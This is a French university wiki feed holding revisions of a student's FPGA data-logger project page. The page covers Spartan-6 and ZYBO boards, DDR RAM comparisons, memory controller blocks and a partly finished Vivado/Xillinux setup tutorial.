&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
	C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Zybo.jpg&amp;diff=27508</id>
		<title>Fichier:Zybo.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Zybo.jpg&amp;diff=27508"/>
				<updated>2016-02-22T09:12:01Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27507</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27507"/>
				<updated>2016-02-22T09:11:13Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
